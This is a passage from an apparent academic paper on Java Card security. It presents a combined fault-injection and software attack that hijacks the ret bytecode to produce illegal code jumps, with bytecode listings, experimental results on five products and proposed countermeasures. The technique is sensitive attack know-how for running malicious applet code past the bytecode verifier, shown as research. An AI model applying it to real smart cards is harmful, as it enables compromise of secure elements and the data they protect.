2 // Compiled bytecode
3 L0: sload_0; // The address given in parameter
4 sstore_1; // is used to initialise local variables
5 ...
6 sload_0;
7 sstore 249;
8 L1: jsr L2; // Jump 1
9 sspush -8531; // Push value 0 xDEAD

10 sreturn;
11 L2: astore 254;
12 jsr L3; // Jump 2
13 ret 254; // ret 5
14 L3: astore 253;
15 jsr L4; // Jump 3
16 ret 253; // ret 4
17 L4: astore 252;
18 jsr L5; // Jump 4
19 ret 252; // ret 3
20 L5: astore 251;
21 jsr L6; // Jump 5
22 ret 251; // ret 2
23 L6: astore 250;
24 ret 250; // ret 1
25
26 }

Listing 16. Hijacking the ret bytecode

Moreover, in order to characterize what value is obtained when the
attack is successful, the code described in listing 17 is added in the applet.
Each short local variable of the hijackingRet() method points to a different
case of the result() method. Thus if the operand fetch is disturbed and
value 0 is obtained, the execution flow will be redirected into the first
case, and so on with other values. In each case, a value is stored into a
static transient array and its mirror is returned. This mechanism is used



342 Java Card security

to ensure that the right code jump has been performed and the success
status depends on two values (the content of the transient array and the
return value of the method).

1 public static short results () {
2 short param = 0;
3 switch(param) {
4 case (short) 0:
5 Util.setShort(data , RES_OFFSET , (short) ~(0));// data is a static transient

array
6 return (short) 0;
7 case (short) 1:
8 Util.setShort(data , RES_OFFSET , (short) ~(1));
9 return (short) 1;

10 ...
11 case (short) 255:
12 Util.setShort(data , RES_OFFSET , (short) ~(255));
13 return (short) 255;
14 }
15 return (short) 0xFFFF;
16 }

Listing 17. Code used to characterize results

The attack has been attempted on five products from four different
manufacturers. When it was possible, a real software exploitation has been
hidden in the applet code and executed using the ret bytecode, validating
the whole combined attack path. Table 4 synthesises the results obtained
on the different products.

Reference Code jump Combined Jitter Identified timing Max locals Reproducibility
A2 Yes Yes Yes Precise 238 < 1%
A3 Yes Yes Yes Precise 238 < 1%
B3 Yes Yes No Very precise 110 ≈ 97%
C2 Yes No No No precise 233 ≈ 2%
D2 Yes No No Precise 200 ≈ 8%

Tableau 4. Experimental results

On all the tested products, more than 10 illegal code jumps have
been obtained in less than 40 000 attempted fault injections. This first
step validates the efficiency of this new combined attack principle. A full
combined attack with a software exploitation has been attempted with
success on products A2, A3 and B3. No software exploitation has been
found on products C2 and D2.

Only products A2 and A3 had some jitter. This explain the low
reproducibility on these products. On C2 product, although there was no
jitter, no precise timing was identified due to the huge amount of time
taken to execute one ret bytecode. On other products, the identified timing
of the attack was precise.
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The Max locals column indicates how many short local variables are
available to perform the attack. In practice we see that the area reserved to
the local frames is very limited and it is rarely possible to have a method
with 255 local variables.

Although B3 product has a few available local variables, with a very
precise timing and no jitter the attack was successfully reproduced with a
high rate. Reproducibility is evaluated for timing and physical position
given.

Reference Initial index(es) for the ret Obtained index(es)
A2 0xEF, 0xF0, 0xF1, 0xF2, 0xF3 Around 10 different values
A3 0xEF, 0xF0, 0xF1, 0xF2, 0xF3 Around 20 different values
B3 0x6F, 0x70, 0x71, 0x72, 0x73 0x00, 0x01, 0x59
C2 0xEA 0x75
D2 0x62, 0x63, 0x64, 0x65, 0x66 0x31, 0x32, 0x52

Tableau 5. Values obtained

Values contained in table 5 are given in hexadecimal. The faulty indexes
are obtained as described in listing 17. For the products A2 and A3, the
values seem to be random and no particular explanation has been found
on why these values are obtained. However, the other results may be
explained. It should be noted that the following explanation elements are
only hypothetical.

On product B3, three values are obtained. For timing and signal
synchronisation purpose, several incrementations had been placed around
the five ret bytecodes. Thus, the sinc bytecode was present in the code.
According to the Java Card specification [13], the value of the sinc bytecode
is 0x59. Therefore, one possible explanation is that the fault injection has
disturbed the operand fetch and instead of reading at the right place, the
fetch has been performed in another place in memory, close from the place
where is stored the operand. As several sinc bytecodes are present close to
the operand, this explanation is possible. Values 0x00 and 0x01 are also
present in the code, the same conclusion could be applied.

On product C2, only one faulty value is obtained. Only one ret byte-
code is targeted as the execution of one ret takes more time than other
implementations. The operand value is 0xEA in the nominal case. Every
times that a successful perturbation is observed, the same value is always
obtained, 0x75. This is exactly the result of 0xEA / 2. Each local va-
riable is stored using two bytes (a short value). Thus when the JCVM
wants to know the address of the local variable 0xEA, it computes :
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addrLocalEA = addrLocal0+(0xEA∗2). If the multiplication by 2 is not
performed, the JCVM obtains : addrLocalEA = addrLocal0 + (0xEA) =
addrLocal0 + (0x75 ∗ 2). Thus, one possible explanation is that the multi-
plication is skipped by the fault injection and the local variable at index
0x75 is accessed instead of the local variable 0xEA.

For values 0x31 and 0x32 obtained on product D2, we could conclude
on the same hypothesis as the one found on product C2. However, no
precise explanation has been found the obtained value 0x51.

Conclusion Disturbing the ret bytecode provides a new and powerful
principle of combined attack. Precise jumps can be obtained with a minimal
effort and the theoretical success rate is rather high. In practice, tests
demonstrated the efficiency of the attack with interesting success rates.

3.3 Conclusion on combined attacks

The Java Card specification provides a secure environment to execute
sensitive applications. However, in some configuration allowed by the
specification, an attacker can execute applications especially design to be
sensitive to fault attacks, optimising the success rate. Malicious code can
therefore be executed from an applet passing the BCV.

4 Countermeasures and Future Works

The BCV is in charge of detecting some malicious code, preventing from
software attacks. Security of the products is manly based on this verifica-
tion. However the BCV is not sufficient against software attacks based on
flaws in the JCVM implementation itself and against combined attacks.

Flaws in JCVM implementations can be detected by code reviews and
automatic tests. Tests like TCK [14] are not designed to find this kind of
bugs in implementations. A part of future work is to write applets testing
a JCVM implementation. The limit of the specification would be tested,
improving the verification while products evaluation.

Combined attacks are more difficult to counteract. Firstly, JCVM
implementations must be more resistant against fault attacks. Another
idea is to check the application code before its loading on card. This
verification could detect an abusive usage of a functionality. For instance
an object with 254 fields containing the same value is probably dangerous. If
an suspicious code is detected a human verification could quickly determine
if the application is really malicious or not.
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